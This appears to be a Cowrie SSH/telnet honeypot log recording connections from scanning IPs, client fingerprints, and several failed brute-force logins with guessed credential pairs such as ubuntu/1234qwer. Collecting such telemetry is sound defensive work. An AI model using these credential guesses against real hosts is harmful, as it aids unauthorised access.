{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":41204,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bddb76726ca","protocol":"ssh","message":"New connection: 85.198.97.85:41204 (159.203.135.109:22) [session: 7bddb76726ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:19.328309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:19.332666Z","src_ip":"85.198.97.85","session":"7bddb76726ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43664,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d468df5b40","protocol":"ssh","message":"New connection: 193.32.162.151:43664 (159.203.135.109:22) [session: 77d468df5b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:39.095434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:39.100841Z","src_ip":"193.32.162.151","session":"77d468df5b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:39.205963Z","src_ip":"193.32.162.151","session":"77d468df5b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"epsuser@123","message":"login attempt [epsuser/epsuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:39.525134Z","src_ip":"193.32.162.151","session":"77d468df5b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:40.636570Z","src_ip":"193.32.162.151","session":"77d468df5b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":48870,"dst_ip":"159.203.135.109","dst_port":23,"session":"b91f10ce1aa9","protocol":"telnet","message":"New connection: 130.12.180.174:48870 (159.203.135.109:23) [session: b91f10ce1aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:45.818441Z"}
{"eventid":"cowrie.session.closed","duration":0.500164270401001,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:46.318432Z","src_ip":"130.12.180.174","session":"b91f10ce1aa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38514,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea16a24c0d9","protocol":"ssh","message":"New connection: 80.94.92.186:38514 (10.17.0.5:22) [session: 6ea16a24c0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:52.247118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:52.417603Z","src_ip":"80.94.92.186","session":"6ea16a24c0d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:52.421349Z","src_ip":"80.94.92.186","session":"6ea16a24c0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr123","message":"login attempt [mapr/mapr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:54.064744Z","src_ip":"80.94.92.186","session":"6ea16a24c0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:02:55.171699Z","src_ip":"80.94.92.186","session":"6ea16a24c0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":47578,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e9e902abc4","protocol":"ssh","message":"New connection: 92.118.39.95:47578 (10.17.0.5:22) [session: d2e9e902abc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:03:00.549387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:03:00.553763Z","src_ip":"92.118.39.95","session":"d2e9e902abc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:03:00.665956Z","src_ip":"92.118.39.95","session":"d2e9e902abc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:03:01.093508Z","src_ip":"92.118.39.95","session":"d2e9e902abc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:03:02.202399Z","src_ip":"92.118.39.95","session":"d2e9e902abc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:19.347378Z","src_ip":"85.198.97.85","session":"7bddb76726ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.191.141.152","src_port":33660,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a5b260aeae","protocol":"ssh","message":"New connection: 46.191.141.152:33660 (10.17.0.5:22) [session: 88a5b260aeae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:24.419612Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59530,"dst_ip":"159.203.135.109","dst_port":22,"session":"347d329daa37","protocol":"ssh","message":"New connection: 193.32.162.151:59530 (159.203.135.109:22) [session: 347d329daa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:54.465560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:54.470012Z","src_ip":"193.32.162.151","session":"347d329daa37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:54.612797Z","src_ip":"193.32.162.151","session":"347d329daa37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"12345678","message":"login attempt [epsuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:54.951506Z","src_ip":"193.32.162.151","session":"347d329daa37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:04:56.122291Z","src_ip":"193.32.162.151","session":"347d329daa37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.229","src_port":64570,"dst_ip":"10.17.0.5","dst_port":22,"session":"7684edae4d0c","protocol":"ssh","message":"New connection: 205.210.31.229:64570 (10.17.0.5:22) [session: 7684edae4d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:08.268031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:08.850291Z","src_ip":"205.210.31.229","session":"7684edae4d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:10.050966Z","src_ip":"205.210.31.229","session":"7684edae4d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":59804,"dst_ip":"10.17.0.5","dst_port":22,"session":"95786caf3a22","protocol":"ssh","message":"New connection: 92.118.39.95:59804 (10.17.0.5:22) [session: 95786caf3a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:15.464389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:15.468661Z","src_ip":"92.118.39.95","session":"95786caf3a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:15.573205Z","src_ip":"92.118.39.95","session":"95786caf3a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$QWER","message":"login attempt [ubuntu/!@#$QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:15.887272Z","src_ip":"92.118.39.95","session":"95786caf3a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:16.998210Z","src_ip":"92.118.39.95","session":"95786caf3a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:17.069105Z","src_ip":"205.210.31.229","session":"7684edae4d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":41178,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad5ac47ed41","protocol":"ssh","message":"New connection: 80.94.92.186:41178 (10.17.0.5:22) [session: 2ad5ac47ed41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:45.068990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:45.219855Z","src_ip":"80.94.92.186","session":"2ad5ac47ed41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:45.223408Z","src_ip":"80.94.92.186","session":"2ad5ac47ed41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"sol","message":"login attempt [latitude/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:46.547926Z","src_ip":"80.94.92.186","session":"2ad5ac47ed41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:05:47.713428Z","src_ip":"80.94.92.186","session":"2ad5ac47ed41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36254,"dst_ip":"10.17.0.5","dst_port":22,"session":"80cc79c7a0d4","protocol":"ssh","message":"New connection: 2.57.122.208:36254 (10.17.0.5:22) [session: 80cc79c7a0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:14.154971Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:14.258577Z","src_ip":"2.57.122.208","session":"80cc79c7a0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:24.433345Z","src_ip":"46.191.141.152","session":"88a5b260aeae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52128,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0374a31d3fc","protocol":"ssh","message":"New connection: 2.57.121.25:52128 (159.203.135.109:22) [session: d0374a31d3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:34.389522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:34.396896Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
